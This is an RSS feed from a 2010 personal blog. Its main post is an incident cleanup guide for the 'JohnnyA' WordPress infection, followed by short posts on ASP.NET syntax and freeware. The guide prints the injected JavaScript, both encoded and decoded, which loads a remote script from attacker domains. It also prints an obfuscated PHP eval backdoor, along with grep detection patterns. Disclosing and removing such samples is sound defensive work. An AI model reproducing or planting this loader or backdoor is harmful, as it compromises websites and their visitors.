<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>UH.LEE.KA</title>
	<atom:link href="http://www.uhleeka.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.uhleeka.com/blog</link>
	<description>If you think nobody cares about you, try missing a few car payments.</description>
	<lastBuildDate>Wed, 25 Aug 2010 01:35:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>JohnnyA WordPress malware on MediaTemple</title>
		<link>http://www.uhleeka.com/blog/2010/07/johnnya-wordpress-malware-on-mediatemple/</link>
		<comments>http://www.uhleeka.com/blog/2010/07/johnnya-wordpress-malware-on-mediatemple/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 21:03:56 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[JohnnyA]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=529</guid>
		<description><![CDATA[My MediaTemple (gs) account got hit by JohnnyA a couple weeks ago. I assume that it occurred because I was slow to update my WordPress to version 3.0. Lucky for me, I actually looked at my blog only 4 days (yikes!) after the exploit occurred. Avast caught the site attempting some sort of JavaScript exploit, [...]]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 0px 0px;border:solid 1px #000;background-repeat:no-repeat;background-position:-40px -30px;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2008/11/wordpress.png');"></div>
<p>My MediaTemple (gs) account got hit by JohnnyA a couple weeks ago.  I assume that it occurred because I was slow to update my WordPress to version 3.0.  Lucky for me, I actually looked at my blog only 4 days (yikes!) after the exploit occurred.  Avast caught the site attempting some sort of JavaScript exploit, which clued me in to the problem.</p>
<p>After digging through the site using Firefox and the Firebug plugin, I found the offending JavaScript and stumbled upon the WordPress Administrative user, &#8220;JohnnyA&#8221;.  So I deleted the code from the file and disabled the database user, only to have the exploit reappear less than 24 hours later.</p>
<p>Confused by its reappearence (I had updated WP to the latest version of 3.0), I contacted MediaTemple support.  (mt) politely informed me that the problem was mine own and pointed me to this &#8220;System Status&#8221; link:  <a target="_blank" href="http://weblog.mediatemple.net/weblog/category/system-incidents/1378-information-about-compromised-sites/">http://weblog.mediatemple.net/weblog/category/system-incidents/1378-information-about-compromised-sites/</a>, which states in bold &#8220;<strong>&#8230;this is not exploiting any architectural or system vulnerability</strong>&#8221; which translates to &#8220;<strong>Fix it yourself or pay someone to do it for you.</strong>&#8221;  </p>
<p>Anyhow, noting that an Adminstrator, username JohnnyA, had been created, I searched and stumbled upon this thread: <a target="_blank" href="http://wordpress.org/support/topic/421834">http://wordpress.org/support/topic/421834</a>.  Realizing that there was a .php vector to this attack in addition to a .js vector, i opened up an SSH session and grepped through my &#8220;domains&#8221; directory.  After finding and neutralizing the offending .php file and offending .js file, the site was back to normal and has been malware free for the last 48 hours.</p>
<p>I have since been passively monitoring my site with a plugin called &#8220;<strong>WordPress File Monitor</strong>&#8221; which fires off an email every time a file is modified on the site.  Hopefully, that will provide an alert of future exploits.  I have also installed several other security-related Plugins.  Check out <a target="_blank" href="http://digwp.com/2010/07/wordpress-security-lockdown/">http://digwp.com/2010/07/wordpress-security-lockdown/</a> for a good rundown on WordPress security.</p>
<p><del datetime="2010-07-30T22:19:26+00:00">Bottom line, <strong>MediaTemple is not at all to blame</strong> for this.  If I was to exploit a WordPress vulnerability, I would target hosting companies like MediaTemple for the sheer number of (un)managed WordPress installations.  Lesson learned?  Keep your software up to date!</del></p>
<p><span style="background-color:#FFFBCC"><del datetime="2010-08-06T22:03:54+00:00">Edit (2010-07-30):  After further looking into this, it appears, <strong>IMHO</strong>, that MediaTemple (gs) architecture may be at fault.  They have acknowledged that there were some sort of permissions issues that allowed neighboring (gs) accounts to read each others data.  So they implemented Access Control Lists as a fix (<a target="_blank" href="http://weblog.mediatemple.net/weblog/category/system-incidents/1408-gs-grid-service-cluster-issues/">http://weblog.mediatemple.net/weblog/category/system-incidents/1408-gs-grid-service-cluster-issues/</a>).  Reading between the lines, something (?) was wrong and MediaTemple took steps to fix it.  Transparency?  Not really.</del></span></p>
<p><span style="background-color:#FFFBCC"><del datetime="2010-08-06T22:03:54+00:00">The new bottom line is:  Something happened to compromise my (gs).</del></span><br />
<span style="background-color:#FFFBCC"><del datetime="2010-08-06T22:03:54+00:00">Lesson learned:  Don&#8217;t issue an opinion based on spoon-fed incident reports.  My apologies to WordPress.</del></span></p>
<p><span style="background-color:#FFFBCC">Edit (2010-08-06): The comments are well worth reading.</span></p>
<p><span id="more-529"></span><br />
<hr />
<p>If you are interested in fixing things yourself, here are the steps I took for my MediaTemple (gs) account:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>BACKUP!</pre></div></div>

<p>I take no reponsibility for the following steps.  They worked for me, but there is zero guarantee that they will work for you.  Backup or no backup, what you do is at your own risk.</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>SSH</pre></div></div>

<p>Change directory to your &#8220;domains&#8221; directory so that you can recursively grep all websites within.</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>cd ~/domains</pre></div></div>

<p>Search for the offending javascript by looking for a &#8220;document.write(unescape&#8221;.</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>grep -R "document.write(unescape" *</pre></div></div>

<p>Note that there may be legit occurrances of this (e.g. google analytics). Look for something similar to the following:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>uhleeka.com/html/something/something.js:&lt;ads&gt;&lt;script type=&quot;text/javascript&quot;&gt;var st1 = 0
; document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A
%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67
%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72
%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69
%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73
%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78
%4F%66%28%22%77%61%74%63%68%74%69%6D%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77
%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43
%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72
%20%64%3D%5B%22%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%22%2C%22%67
%61%69%6E%64%69%72%65%63%74%6F%72%79%2E%6F%72%67%22%2C%22%69%64%65%61%63%6F%72%65%70%6F
%72%74%61%6C%2E%63%6F%6D%22%2C%22%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%22%5D%2C%65
%3D%5B%22%61%71%75%61%2E%22%2C%22%61%7A%75%72%65%2E%22%2C%22%62%6C%61%63%6B%2E%22%2C%22
%62%6C%75%65%2E%22%2C%22%62%72%6F%77%6E%2E%22%2C%22%63%68%6F%63%6F%6C%61%74%65%2E%22%2C
%22%63%6F%72%61%6C%2E%22%2C%22%63%79%61%6E%2E%22%2C%22%64%61%72%6B%72%65%64%2E%22%2C%22
%66%75%63%68%73%69%61%2E%22%2C%22%67%6F%6C%64%2E%22%2C%22%67%72%61%79%2E%22%2C%22%67%72
%65%65%6E%2E%22%2C%22%69%6E%64%69%67%6F%2E%22%2C%22%69%76%6F%72%79%2E%22%2C%22%6B%68%61
%6B%69%2E%22%2C%22%6C%69%6D%65%2E%22%2C%22%6D%61%67%65%6E%74%61%2E%22%2C%22%6D%61%72%6F
%6F%6E%2E%22%2C%22%6E%61%76%79%2E%22%2C%22%6F%6C%69%76%65%2E%22%2C%22%6F%72%61%6E%67%65
%2E%22%2C%22%70%69%6E%6B%2E%22%2C%22%70%6C%75%6D%2E%22%2C%22%70%75%72%70%6C%65%2E%22%2C
%22%72%65%64%2E%22%2C%22%73%69%6C%76%65%72%2E%22%2C%22%73%6E%6F%77%2E%22%2C%22%76%69%6F
%6C%65%74%2E%22%2C%22%77%68%69%74%65%2E%22%2C%22%79%65%6C%6C%6F%77%2E%22%5D%2C%66%3D%4D
%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%20%64%2E%6C%65
%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F
%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E
%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B
%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%77%61%74%63%68%74%69%6D%65%3D%22%2B
%65%73%63%61%70%65%28%22%77%61%74%63%68%74%69%6D%65%22%29%2B%22%3B%65%78%70%69%72%65%73
%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22
%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65
%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A
%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73
%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'))
;var gr0=0;&lt;/script&gt;&lt;/ads&gt;&lt;/body&gt;</pre></div></div>

<p>In case you are interested, the above translates to the following which tries to open a malicious &#8220;mootools&#8221; javascript on a remote domain:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>&lt;script type=&quot;text/javascript&quot;&gt;
var a = window.navigator.userAgent,
    b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
    c = navigator.appVersion;
if (document.cookie.indexOf(&quot;watchtime&quot;) == -1 &amp;&amp; !a.toLowerCase().match(b) &amp;&amp; 
	c.toLowerCase().indexOf(&quot;win&quot;) != -1) {
    var d = [&quot;edisonsnightclub.com&quot;, &quot;gaindirectory.org&quot;, &quot;ideacoreportal.com&quot;, 
		&quot;karenegren.com&quot;],
        e = [&quot;aqua.&quot;, &quot;azure.&quot;, &quot;black.&quot;, &quot;blue.&quot;, &quot;brown.&quot;, &quot;chocolate.&quot;, &quot;coral.&quot;, 
		&quot;cyan.&quot;, &quot;darkred.&quot;, &quot;fuchsia.&quot;, &quot;gold.&quot;, &quot;gray.&quot;, &quot;green.&quot;, &quot;indigo.&quot;, 
		&quot;ivory.&quot;, &quot;khaki.&quot;, &quot;lime.&quot;, &quot;magenta.&quot;, &quot;maroon.&quot;, &quot;navy.&quot;, &quot;olive.&quot;, 
		&quot;orange.&quot;, &quot;pink.&quot;, &quot;plum.&quot;, &quot;purple.&quot;, &quot;red.&quot;, &quot;silver.&quot;, &quot;snow.&quot;, 
		&quot;violet.&quot;, &quot;white.&quot;, &quot;yellow.&quot;],
        f = Math.floor(Math.random() * d.length),
        g = Math.floor(Math.random() * e.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 9072E4);
    document.cookie = &quot;watchtime=&quot; + escape(&quot;watchtime&quot;) + &quot;;expires=&quot; + 
		dt.toGMTString() + &quot;;path=/&quot;;
    document.write('&lt;script type=&quot;text/javascript&quot; src=&quot;http://' + e[g] + d[f] + 
		'/data/mootools.js&quot;&gt;&lt;\/script&gt;')
};	
&lt;/script&gt;</pre></div></div>

<p>Once you have found the offending javascript malware, remove it from the file.  Make sure that you only remove the &#8220;bad&#8221; part (e.g. don&#8217;t delete the &lt;body&gt; tag or anything else adjacent).</p>
<p>Next step is to look for the .php malware.  The following looks for a character string longer than 255 (somewhat arbitrary number) within all .php files:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>grep -iR --include &quot;*.php&quot; &quot;[a-zA-Z0-9\/\+]\{255,\}&quot; *</pre></div></div>

<p>You should get back something similar to:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>uhleeka.com/html/something/something.php:&lt;?php $o = '1RqLcptI8lcIpQrgSAj0shVZtnNZZ9dVSZ
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';eval(&quot;\x65\x76\x61\x6C\x28\x67\x7
A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x
28\x24\x6F\x29\x29\x29\x3B&quot;); ?&gt;</pre></div></div>

<p>This line of code is the core of the malware and another piece to be deleted.  It allows the bot or hacker to manipulate the contents of the site and execute queries against the database.</p>
<p>Of note is the &#8220;eval&#8221; statement at the end of the line, the contents of which translate to:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>eval(gzinflate(base64_decode($o)));</pre></div></div>

<p>So basically, the hacker has encoded and gzip&#8217;d a whole mess of code that sits and waits for commands to be executed.</p>
<p>Hopefully (I say &#8220;hopefully&#8221; because I haven&#8217;t had the time to pour over all the code and database to make sure that there isn&#8217;t some other vector to this attack) removing the code from those two places and disabling the database user &#8220;JohnnyA&#8221; is all that is required to restore a little sanity&#8230;at least until WordPress exposes its next vulnerability.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2010/07/johnnya-wordpress-malware-on-mediatemple/feed/</wfw:commentRss>
		<slash:comments>60</slash:comments>
		</item>
		<item>
		<title>Less than percent colon &#8211; code render blocks in ASP.NET</title>
		<link>http://www.uhleeka.com/blog/2010/05/less-than-percent-colon-code-render-blocks-in-asp-net/</link>
		<comments>http://www.uhleeka.com/blog/2010/05/less-than-percent-colon-code-render-blocks-in-asp-net/#comments</comments>
		<pubDate>Mon, 03 May 2010 21:49:23 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Code Snippits]]></category>
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=516</guid>
		<description><![CDATA[ASP.NET 4.0 introduces the following code render block syntax: &#60;%: YourOutput() %&#62; The search terms &#8220;less than percent colon&#8221; and &#8220;less than percentage colon&#8221; did not turn up anything for me in google, but thanks to stackoverflow: http://stackoverflow.com/questions/2676236/are-and-the-same-thing-as-embbed-code-expression-blocks &#60;%: is almost the same as &#60;%= except that the output from &#60;%: is automagically html encoded.]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 0px 0px;border:solid 1px #006;background-color:#fff;background-repeat:no-repeat;background-position:15px center;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2009/08/windows-150x150.png');"></div>
<p>ASP.NET 4.0 introduces the following code render block syntax:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>&lt;%: YourOutput() %&gt;</pre></div></div>

<p>The search terms &#8220;less than percent colon&#8221; and &#8220;less than percentage colon&#8221; did not turn up anything for me in google, but thanks to stackoverflow:</p>
<p><a href="http://stackoverflow.com/questions/2676236/are-and-the-same-thing-as-embbed-code-expression-blocks">http://stackoverflow.com/questions/2676236/are-and-the-same-thing-as-embbed-code-expression-blocks</a></p>
<p>&lt;%: is almost the same as &lt;%= except that the output from &lt;%: is automagically html encoded.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2010/05/less-than-percent-colon-code-render-blocks-in-asp-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Essential Freeware</title>
		<link>http://www.uhleeka.com/blog/2010/01/essential-freeware/</link>
		<comments>http://www.uhleeka.com/blog/2010/01/essential-freeware/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 09:45:04 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Helpful Applications]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=503</guid>
		<description><![CDATA[Firefox &#8211; web browser http://www.mozilla.com/en-US/firefox/personal.html Firefox plugins Adblock Plus &#8211; https://addons.mozilla.org/en-US/firefox/addon/1865 BetterPrivacy &#8211; https://addons.mozilla.org/en-US/firefox/addon/6623 DownThemAll &#8211; https://addons.mozilla.org/en-US/firefox/addon/201 Firebug &#8211; https://addons.mozilla.org/en-US/firefox/addon/1843 7-zip &#8211; file compression/decompression library http://7-zip.org CutePDF &#8211; virtual printer: print to a PDF http://www.cutepdf.com Avast &#8211; antivirus http://www.avast.com Picasa &#8211; picture and video organizer http://picasa.google.com/]]></description>
			<content:encoded><![CDATA[<p>Firefox &#8211; web browser<br />
<a href="http://www.mozilla.com/en-US/firefox/personal.html">http://www.mozilla.com/en-US/firefox/personal.html</a></p>
<p>Firefox plugins</p>
<ul>
<li>Adblock Plus &#8211; <a href="https://addons.mozilla.org/en-US/firefox/addon/1865">https://addons.mozilla.org/en-US/firefox/addon/1865</a></li>
<li>BetterPrivacy &#8211; <a href="https://addons.mozilla.org/en-US/firefox/addon/6623">https://addons.mozilla.org/en-US/firefox/addon/6623</a></li>
<li>DownThemAll &#8211; <a href="https://addons.mozilla.org/en-US/firefox/addon/201">https://addons.mozilla.org/en-US/firefox/addon/201</a></li>
<li>Firebug &#8211; <a href="https://addons.mozilla.org/en-US/firefox/addon/1843">https://addons.mozilla.org/en-US/firefox/addon/1843</a></li>
</ul>
<p>7-zip &#8211; file compression/decompression library<br />
<a href="http://7-zip.org">http://7-zip.org</a></p>
<p>CutePDF &#8211; virtual printer: print to a PDF<br />
<a href="http://www.cutepdf.com">http://www.cutepdf.com</a></p>
<p>Avast &#8211; antivirus<br />
<a href="http://www.avast.com">http://www.avast.com</a></p>
<p>Picasa &#8211; picture and video organizer<br />
<a href="http://picasa.google.com/">http://picasa.google.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2010/01/essential-freeware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Generic List&lt;T&gt; to DataTable using Reflection</title>
		<link>http://www.uhleeka.com/blog/2010/01/generic-list-to-datatable-using-reflection/</link>
		<comments>http://www.uhleeka.com/blog/2010/01/generic-list-to-datatable-using-reflection/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 04:31:23 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Code Snippits]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[snippit]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=498</guid>
